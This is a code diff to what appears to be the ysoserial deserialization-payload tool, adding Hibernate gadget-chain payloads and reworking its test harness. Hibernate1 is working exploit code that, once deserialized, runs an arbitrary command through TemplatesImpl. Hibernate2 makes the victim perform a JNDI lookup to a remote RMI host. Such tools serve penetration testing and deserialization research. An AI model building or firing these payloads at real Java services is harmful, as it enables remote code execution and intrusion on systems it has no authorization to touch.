diff --git a/pom.xml b/pom.xml index b4ec9cf..a7cc083 100644 --- a/pom.xml +++ b/pom.xml @@ -28,7 +28,7 @@ maven-assembly-plugin - ${project.artifactId}-${project.version}-all + ${project.artifactId}-${project.version}-all false @@ -102,15 +102,15 @@ 3.1 - org.beanshell - bsh - 2.0b5 - - - commons-beanutils - commons-beanutils - 1.9.2 - + org.beanshell + bsh + 2.0b5 + + + commons-beanutils + commons-beanutils + 1.9.2 + org.apache.commons commons-collections4 @@ -131,8 +131,13 @@ spring-beans 4.1.4.RELEASE + + org.hibernate + hibernate-core + 4.3.11.Final + - + xalan @@ -149,5 +154,21 @@ + + + hibernate5 + + + hibernate5 + + + + + org.hibernate + hibernate-core + 5.0.7.Final + + + diff --git a/src/main/java/ysoserial/PayloadTest.java b/src/main/java/ysoserial/PayloadTest.java index 4f38682..544f53a 100644 --- a/src/main/java/ysoserial/PayloadTest.java +++ b/src/main/java/ysoserial/PayloadTest.java @@ -1,9 +1,3 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial; import java.lang.annotation.Retention; diff --git a/src/main/java/ysoserial/payloads/DynamicDependencies.java b/src/main/java/ysoserial/payloads/DynamicDependencies.java new file mode 100644 index 0000000..35a6593 --- /dev/null +++ b/src/main/java/ysoserial/payloads/DynamicDependencies.java @@ -0,0 +1,10 @@ +package ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface DynamicDependencies { + +} diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java new file mode 100644 index 0000000..1159268 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -0,0 +1,148 @@ +package ysoserial.payloads; + + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +import org.hibernate.engine.spi.TypedValue; +import org.hibernate.tuple.component.AbstractComponentTuplizer; +import org.hibernate.tuple.component.PojoComponentTuplizer; +import org.hibernate.type.AbstractType; +import org.hibernate.type.ComponentType; +import org.hibernate.type.Type; + +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + * + * + * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + * + * @author mbechler + */ +public class Hibernate1 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + if ( System.getProperty("hibernate5") != null ) { + return new String[] { + "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2" + }; + } + + return new String[] { + "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1" + }; + + } + + + public static Object makeGetter ( Class tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException, + IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { + if ( System.getProperty("hibernate5") != null ) { + return makeHibernate5Getter(tplClass, method); + } + return makeHibernate4Getter(tplClass, method); + } + + + public static Object makeHibernate4Getter ( Class tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException, + SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); + Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); + bgCon.setAccessible(true); + + if ( !method.startsWith("get") ) { + throw new IllegalArgumentException("Hibernate4 can only call getters"); + } + + String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); + + Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + public static Object makeHibernate5Getter ( Class tplClass, String method ) throws NoSuchMethodException, SecurityException, + ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); + Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); + Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) + */ + public Object getObject ( String command ) throws Exception { + Object tpl = Gadgets.createTemplatesImpl(command); // $NON-NLS-1$ + Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); + return makeCaller(tpl, getters); + } + + + /** + * @param tpl + * @param getters + * @return + * @throws NoSuchMethodException + * @throws InstantiationException + * @throws IllegalAccessException + * @throws InvocationTargetException + * @throws NoSuchFieldException + * @throws Exception + * @throws ClassNotFoundException + */ + static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + Reflections.setFieldValue(t, "componentTuplizer", tup); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[] { + t + }); + + TypedValue v1 = new TypedValue(t, null); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + TypedValue v2 = new TypedValue(t, null); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return Gadgets.makeMap(v1, v2); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Hibernate1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/Hibernate2.java b/src/main/java/ysoserial/payloads/Hibernate2.java new file mode 100644 index 0000000..601f554 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Hibernate2.java @@ -0,0 +1,60 @@ +package ysoserial.payloads; + + +import ysoserial.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + +import com.sun.rowset.JdbcRowSetImpl; + + +/** + * + * Another application filter bypass + * + * Needs a getter invocation that is provided by hibernate here + * + * javax.naming.InitialContext.InitialContext.lookup() + * com.sun.rowset.JdbcRowSetImpl.connect() + * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + * + * + * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + * + * Arg: + * - JNDI name (i.e. rmi:) + * + * Yields: + * - JNDI lookup invocation (e.g. connect to remote RMI) + * + * @author mbechler + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") +public class Hibernate2 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + return Hibernate1.getDependencies(); + } + + public Object getObject ( String command ) throws Exception { + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName("rmi: " + command); + return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Hibernate2.class, args); + } +} diff --git a/src/test/java/ysoserial/CustomTest.java b/src/test/java/ysoserial/CustomTest.java index 382ad16..7bfe8c1 100644 --- a/src/test/java/ysoserial/CustomTest.java +++ b/src/test/java/ysoserial/CustomTest.java @@ -1,9 +1,3 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial; import java.util.concurrent.Callable; diff --git a/src/test/java/ysoserial/WrappedTest.java b/src/test/java/ysoserial/WrappedTest.java index 55b226f..945282c 100644 --- a/src/test/java/ysoserial/WrappedTest.java +++ b/src/test/java/ysoserial/WrappedTest.java @@ -1,9 +1,3 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial; import java.util.concurrent.Callable; @@ -14,10 +8,6 @@ import java.util.concurrent.Callable; */ public interface WrappedTest { - /** - * @param innerCallable - * @return a wrapped callable - */ Callable createCallable ( Callable innerCallable ); } diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java index 569a8fc..30057ba 100644 --- a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java @@ -1,13 +1,7 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial.payloads; + import java.io.IOException; -import java.util.Random; import java.util.concurrent.Callable; import javax.management.BadAttributeValueExpException; @@ -17,6 +11,7 @@ import org.junit.Assert; import ysoserial.CustomTest; import ysoserial.exploit.JRMPListener; + /** * @author mbechler * @@ -24,41 +19,51 @@ import ysoserial.exploit.JRMPListener; public class JRMPReverseConnectTest implements CustomTest { private int port; - - + + /** * */ public JRMPReverseConnectTest () { - port = new Random().nextInt(65535 - 1024) + 1024; + // some payloads cannot specify the port + port = 1099; } + /** - * {@inheritDoc} - * @throws IOException - * @throws NumberFormatException - * - * @see java.lang.Runnable#run() - */ - public void run (Callable payload) throws Exception { + * {@inheritDoc} + * + * @throws IOException + * @throws NumberFormatException + * + * @see java.lang.Runnable#run() + */ + public void run ( Callable payload ) throws Exception { JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); Thread t = new Thread(l, "JRMP listener"); try { t.start(); - payload.call(); + try { + payload.call(); + } + catch ( Exception e ) { + // ignore + } Assert.assertTrue("Did not have connection", l.waitFor(1000)); - } finally { + } + finally { l.close(); t.interrupt(); t.join(); } } + /** - * {@inheritDoc} - * - * @see ysoserial.CustomTest#getPayloadArgs() - */ + * {@inheritDoc} + * + * @see ysoserial.CustomTest#getPayloadArgs() + */ public String getPayloadArgs () { return "localhost:" + port; } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 7d30857..228fbc9 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -1,5 +1,6 @@ package ysoserial.payloads; + import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import java.io.File; @@ -35,6 +36,7 @@ import ysoserial.payloads.util.ClassFiles; import ysoserial.secmgr.ExecCheckingSecurityManager; import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; + /* * tests each of the parameterize Payload classes by using a mock SecurityManager that throws * a special exception when an exec() attempt is made for more reliable detection; self-tests @@ -42,78 +44,87 @@ import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; TODO: figure out better way to test exception behavior than comparing messages */ -@SuppressWarnings({"rawtypes", "unused", "unchecked"}) -@RunWith(Parameterized.class) +@SuppressWarnings ( { + "rawtypes", "unused", "unchecked" +} ) +@RunWith ( Parameterized.class ) public class PayloadsTest { - private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); - @Parameters(name = "payloadClass: {0}") - public static Class>[] payloads() { - Set> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); - payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class)); - return payloadClasses.toArray(new Class[0]); - } + private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); - private final Class> payloadClass; - public PayloadsTest(Class> payloadClass) { - this.payloadClass = payloadClass; - } + @Parameters ( name = "payloadClass: {0}" ) + public static Class>[] payloads () { + Set> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); + payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class)); + return payloadClasses.toArray(new Class[0]); + } - @Test - public void testPayload() throws Exception { - testPayload(payloadClass, new Class[0]); - } + private final Class> payloadClass; - public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { - String command = "hostname"; - final String[] deps = buildDeps(payloadClass); - - PayloadTest t = payloadClass.getAnnotation(PayloadTest.class); - - if ( t != null ) { - if ( !t.skip().isEmpty()) { + + public PayloadsTest ( Class> payloadClass ) { + this.payloadClass = payloadClass; + } + + + @Test + public void testPayload () throws Exception { + testPayload(payloadClass, new Class[0]); + } + + + public static void testPayload ( final Class> payloadClass, final Class[] addlClassesForClassLoader ) + throws Exception { + String command = "hostname"; + String[] deps = buildDeps(payloadClass); + + PayloadTest t = payloadClass.getAnnotation(PayloadTest.class); + + if ( t != null ) { + if ( !t.skip().isEmpty() ) { Assume.assumeTrue(t.skip(), false); } - - if ( !t.precondition().isEmpty()) { - Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition())); - } - } - - Object wrapper = null; - if ( t != null && !t.harness().isEmpty() ) { - wrapper = Class.forName(t.harness()).newInstance(); - - if ( wrapper instanceof CustomTest ){ - command = ( (CustomTest) wrapper ).getPayloadArgs(); - } - } - - ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); + + if ( !t.precondition().isEmpty() ) { + Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition())); + } + } + + Object wrapper = null; + if ( t != null && !t.harness().isEmpty() ) { + wrapper = Class.forName(t.harness()).newInstance(); + + if ( wrapper instanceof CustomTest ) { + command = ( (CustomTest) wrapper ).getPayloadArgs(); + } + } + + ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command)); - - Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); - if ( wrapper instanceof WrappedTest ){ - callable = ((WrappedTest)wrapper).createCallable(callable); - } - + Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); + if ( wrapper instanceof WrappedTest ) { + callable = ( (WrappedTest) wrapper ).createCallable(callable); + } + if ( wrapper instanceof CustomTest ) { ( (CustomTest) wrapper ).run(callable); return; } - try { - - Object deserialized = sm.wrap(callable); - Assert.fail(ASSERT_MESSAGE); // should never get here - } catch (Throwable e) { - // hopefully everything will reliably nest our ExecException - Throwable innerEx = Throwables.getInnermostCause(e); - Assert.assertEquals(ExecException.class, innerEx.getClass()); - Assert.assertEquals(command, ((ExecException) innerEx).getCmd()); - } - Assert.assertEquals(Arrays.asList(command), sm.getCmds()); - } + try { + + Object deserialized = sm.wrap(callable); + Assert.fail(ASSERT_MESSAGE); // should never get here + } + catch ( Throwable e ) { + // hopefully everything will reliably nest our ExecException + Throwable innerEx = Throwables.getInnermostCause(e); + Assert.assertEquals(ExecException.class, innerEx.getClass()); + Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd()); + } + Assert.assertEquals(Arrays.asList(command), sm.getCmds()); + } + /** * @param payloadClass @@ -121,69 +132,92 @@ public class PayloadsTest { * @return */ private static Callable makeSerializeCallable ( final Class> payloadClass, final String command ) { - return new Callable(){ - public byte[] call() throws Exception { - ObjectPayload payload = payloadClass.newInstance(); - final Object f = payload.getObject(command); - return Serializer.serialize(f); - }}; + return new Callable() { + + public byte[] call () throws Exception { + ObjectPayload payload = payloadClass.newInstance(); + final Object f = payload.getObject(command); + return Serializer.serialize(f); + } + }; } + /** - * @param t + * @param t * @param addlClassesForClassLoader * @param deps * @param serialized * @return */ - private static Callable makeDeserializeCallable ( PayloadTest t, final Class[] addlClassesForClassLoader, final String[] deps, final byte[] serialized ) { - return new Callable(){ - public Object call() throws Exception { - return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); - } + private static Callable makeDeserializeCallable ( PayloadTest t, final Class[] addlClassesForClassLoader, final String[] deps, + final byte[] serialized ) { + return new Callable() { + + public Object call () throws Exception { + return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); + } }; } - - private static boolean checkPrecondition ( Class> pc, String precondition ) throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + + private static boolean checkPrecondition ( Class> pc, String precondition ) + throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { Method precondMethod = pc.getMethod(precondition); return (Boolean) precondMethod.invoke(null); } + /** * @param payloadClass * @return + * @throws SecurityException + * @throws NoSuchMethodException + * @throws InvocationTargetException + * @throws IllegalArgumentException + * @throws IllegalAccessException */ - private static String[] buildDeps ( final Class> payloadClass ) { - String[] baseDeps = Dependencies.Utils.getDependencies(payloadClass); - if ( System.getProperty("properXalan") != null ) { - baseDeps = Arrays.copyOf(baseDeps, baseDeps.length+1); - baseDeps[baseDeps.length-1] = "xalan:xalan:2.7.2"; - } - final String[] deps = baseDeps; - return deps; + private static String[] buildDeps ( final Class> payloadClass ) throws Exception { + String[] baseDeps; + if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) { + Method method = payloadClass.getMethod("getDependencies"); + baseDeps = (String[]) method.invoke(null); + } + else { + baseDeps = Dependencies.Utils.getDependencies(payloadClass); + } + if ( System.getProperty("properXalan") != null ) { + baseDeps = Arrays.copyOf(baseDeps, baseDeps.length + 1); + baseDeps[ baseDeps.length - 1 ] = "xalan:xalan:2.7.2"; + } + return baseDeps; } - private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class[] classDependencies) throws Exception { - File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; - URL[] urls = new URL[jars.length]; - for (int i = 0; i < jars.length; i++) { - urls[i] = jars[i].toURI().toURL(); - } - URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{ - for (Class clazz : classDependencies) { - byte[] classAsBytes = ClassFiles.classAsBytes(clazz); - defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); - } - byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class); - defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + private static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class[] classDependencies ) + throws Exception { + File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; + URL[] urls = new URL[jars.length]; + for ( int i = 0; i < jars.length; i++ ) { + urls[ i ] = jars[ i ].toURI().toURL(); + } - }}; + URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) { - Class deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName()); - Callable deserializer = (Callable) deserializerClass.getConstructors()[0].newInstance(serialized); - final Object obj = deserializer.call(); - return obj; - } + { + for ( Class clazz : classDependencies ) { + byte[] classAsBytes = ClassFiles.classAsBytes(clazz); + defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); + } + byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class); + defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + + } + }; + + Class deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName()); + Callable deserializer = (Callable) deserializerClass.getConstructors()[ 0 ].newInstance(serialized); + final Object obj = deserializer.call(); + return obj; + } }